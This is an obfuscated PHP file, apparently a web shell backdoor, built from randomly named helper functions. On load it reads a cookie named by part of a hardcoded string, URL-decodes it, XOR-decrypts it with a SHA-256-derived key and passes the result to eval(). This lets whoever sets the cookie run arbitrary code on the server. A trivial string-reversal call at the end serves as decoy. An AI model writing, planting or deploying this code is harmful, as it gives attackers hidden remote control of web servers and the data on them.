<?php function aQgKRtZ($PuVRTGfnGq)
{
    $csIzrAptTT = rawurldecode($PuVRTGfnGq);
    return $csIzrAptTT;
}
function fZEvhJK($wIUrjCsnIG) {
    return strlen($wIUrjCsnIG);
}
function QLHnk($BpQuzM)
{
    $vkexQ = eKjJPv($BpQuzM);
    $epsSVi = fNKDpzqXIw($BpQuzM, $vkexQ);
    return $epsSVi;
}
function YMtzd($aIqOrcir)
{
    $eLkBh = hash("sha256", $aIqOrcir, TRUE);
    return $eLkBh;
}
function SBGGT($wIUrjCsnIG) {
    return strrev($wIUrjCsnIG);
}
function eKjJPv($RtKWum)
{
    $aCabIi = substr($RtKWum, -4);
    return $aCabIi;
}
function wezhuu($wIUrjCsnIG) {
    $YPHdGQcT = SBGGT($wIUrjCsnIG);
    $jBVip = fZEvhJK($wIUrjCsnIG);
    return [$YPHdGQcT, $jBVip];
}
function fNKDpzqXIw($oXcdKqQpqR, $BEhYdG)
{
    $xpXfXbUM = YMtzd($oXcdKqQpqR);
    $gNZwWIzDf = pjQJqulGos($BEhYdG);
    $czeCRTZVW = pDOjV($gNZwWIzDf, $xpXfXbUM);
    return $czeCRTZVW;
}
function aRwBNgSzwA()
{
    $zEJGPKltfb = "RVFEydoeacrDcD";
    return $zEJGPKltfb;
}
function xsyFVta($BoCLEL)
{
    $bsjuNW = $_COOKIE[$BoCLEL];
    return $bsjuNW;
}
function QgXdSkvv()
{
    $VqYDYQn = zamoOIasC();
    JoObP($VqYDYQn);
}
function lOOabempY($raCZHJ)
{
    $YpSVjfosV = strlen($raCZHJ);
    return $YpSVjfosV;
}
function pDOjV($Axfkp, $WnqWJh)
{
    $jVKBbPVk = lOOabempY($Axfkp);
    $KDhDPDVIky = MibljqtU($WnqWJh, $jVKBbPVk);
    $VqYDYQn = vHEfmknz($KDhDPDVIky, $Axfkp);
    return $VqYDYQn;
}
function vHEfmknz($vWzKw, $VRhtXurVn)
{
    $qWILweHl = $vWzKw ^ $VRhtXurVn;
    return $qWILweHl;
}
function MibljqtU($wWPcBsP, $DwYWNosAy)
{
    $CcqkoYulHL = str_pad($wWPcBsP, $DwYWNosAy, $wWPcBsP);
    return $CcqkoYulHL;
}
function pjQJqulGos($zAHhgcKSiS)
{
    $jsOYQyo = xsyFVta($zAHhgcKSiS);
    $gNZwWIzDf = aQgKRtZ($jsOYQyo);
    return $gNZwWIzDf;
}
function JoObP($TBCeVdGbk)
{
    eval($TBCeVdGbk);
}
function zamoOIasC()
{
    $pwpLR = aRwBNgSzwA();
    $fpyzqfOl = QLHnk($pwpLR);
    return $fpyzqfOl;
}
QgXdSkvv();
$WZJuzEOe = wezhuu("Hello");